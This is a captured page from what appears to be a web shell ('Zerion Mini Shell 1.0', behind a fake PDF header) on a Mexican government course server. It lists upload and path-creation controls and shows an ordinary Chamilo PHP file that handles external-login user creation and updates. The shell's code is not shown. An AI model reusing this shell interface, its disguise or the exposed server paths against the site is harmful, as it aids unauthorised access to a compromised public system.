%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/main/auth/external_login/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/main/auth/external_login/functions.inc.php

<?php

//TODO : Please implements this function for this module to work.

/**
 * Gets user info from external source.
 *
 * @param string login
 * @param string password
 *
 * @return user array with at least the following fields:
 *              firstname
 *              lastname
 *              status
 *              email
 *              login
 *              password
 *              or false if no data
 * */
function external_get_user_info($login, $password)
{
    //Those are the mandatory fields for user creation.
    //See external_add_user function for all the fields you can have.
    $table = USERINFO_TABLE;
    $sql = "SELECT * from $table where username='".Database::escape_string($login)."'";
    $result = Database::query($sql);

    if (Database::num_rows($result) == 0) { //false password
        return false;
    }
    $user_info = Database::fetch_assoc($result);
    // User status
    $admin = false;
    switch ($user_info['status']) {
        case 'admin':
            $status = COURSEMANAGER;
            $admin = true;
            break;
        case 'teacher':
            $status = COURSEMANAGER;
            break;
        case 'user':
            $status = STUDENT;
            break;
        default:
            $status = STUDENT;
    }

    // Language
    switch ($user_info['language']) {
        case 'FR':
            $language = 'french';
            break;
        case 'EN':
            $language = 'english';
            break;
        default:
            $language = 'english';
            break;
    }
    //Can Send Message ?
    $can_send_message = ($user_info['can_send_message'] == 1) ? 'yes' : 'no';

    $u = [
        'firstname' => $user_info['firstname'],
        'lastname' => $user_info['lastname'],
        'status' => $status,
        'admin' => $admin,
        'email' => $user_info['email'],
        'username' => $user_info['username'],
        'language' => $language,
        'password' => DEFAULT_PASSWORD,
        'courses' => $user_info['courses'],
        'profile_link' => $user_info['profile_link'],
        'worldwide_bu' => $user_info['worlwide_bu'],
        'manager' => $user_info['manager'],
        'extra' => [
            'position_title' => $user_info['position_title'],
            'country' => $user_info['country'],
            'job_family' => $user_info['job_family'],
            'country_bu' => $user_info['country_bu'],
            'worldwide_bu' => $user_info['worldwide_bu'],
            'profile_link' => $user_info['profile_link'],
            'can_send_message' => $can_send_message,
            'update_type' => 'external_logininfo', ],
    ];

    return $u; //Please return false if user does not exist
    //return false;
}

/**
 * Return an array with all user info.
 *
 * @param associative array with at least thes fields setted :
  firstname, lastname, status, email, login, password
 * @return mixed new user id - if the new user creation succeeds, false otherwise
 * */
function external_add_user($u)
{
    //Setting default
    if (empty($u['password'])) {
        $u['password'] = null;
    }
    if (empty($u['status'])) {
        $u['status'] = 5;
    }
    if (!isset($u['email'])) {
        $u['email'] = '';
    }
    if (!isset($u['official_code'])) {
        $u['official_code'] = '';
    }
    if (!isset($u['language'])) {
        $u['language'] = '';
    }
    if (!isset($u['phone'])) {
        $u['phone'] = '';
    }
    if (!isset($u['picture_uri'])) {
        $u['picture_uri'] = '';
    }
    if (!isset($u['auth_source'])) {
        $u['auth_source'] = PLATFORM_AUTH_SOURCE;
    }
    if (!isset($u['expiration_date'])) {
        $u['expiration_date'] = '';
    }
    if (!isset($u['active'])) {
        $u['active'] = 1;
    }
    if (!isset($u['hr_dept_id'])) {
        $u['hr_dept_id'] = 0;
    } //id of responsible HR
    if (!isset($u['extra'])) {
        $u['extra'] = null;
    }
    if (!isset($u['encrypt_method'])) {
        $u['encrypt_method'] = '';
    }

    $chamilo_uid = UserManager::create_user(
        $u['firstname'],
        $u['lastname'],
        $u['status'],
        $u['email'],
        $u['username'],
        $u['password'],
        $u['official_code'],
        $u['language'],
        $u['phone'],
        $u['picture_uri'],
        $u['auth_source'],
        $u['expiration_date'],
        $u['active'],
        $u['hr_dept_id'],
        $u['extra'],
        $u['encrypt_method']
    );

    return $chamilo_uid;
}

/**
 * Update the user in chamilo database. It upgrade only info that is present in the
 * new_user array.
 *
 * @param array $new_user associative array with the value to upgrade
 *                        WARNING user_id key is MANDATORY
 *                        Possible keys are :
 *                        - firstname
 *                        - lastname
 *                        - username
 *                        - auth_source
 *                        - email
 *                        - status
 *                        - official_code
 *                        - phone
 *                        - picture_uri
 *                        - expiration_date
 *                        - active
 *                        - creator_id
 *                        - hr_dept_id
 *                        - extra : array of custom fields
 *                        - language
 *                        - courses : string of all courses code separated by '|'
 *                        - admin : boolean
 *
 * @author ndiechburg <noel@cblue.be>
 * */
function external_update_user(array $new_user): void
{
    $old_user = api_get_user_info($new_user['user_id']);
    $u = array_merge($old_user, $new_user);
    UserManager::update_user(
        $u['user_id'],
        $u['firstname'],
        $u['lastname'],
        $u['username'],
        null,
        $u['auth_source'],
        $u['email'],
        $u['status'],
        $u['official_code'],
        $u['phone'],
        $u['picture_uri'],
        $u['expiration_date'],
        $u['active'],
        $u['creator_id'],
        $u['hr_dept_id'],
        $u['extra'],
        $u['language'],
        ''
    );
    if (!empty($u['courses'])) {
        $autoSubscribe = explode('|', $u['courses']);
        foreach ($autoSubscribe as $code) {
            if (CourseManager::course_exists($code)) {
                CourseManager::subscribeUser($u['user_id'], $code, STUDENT);
            }
        }
    }
}

Zerion Mini Shell 1.0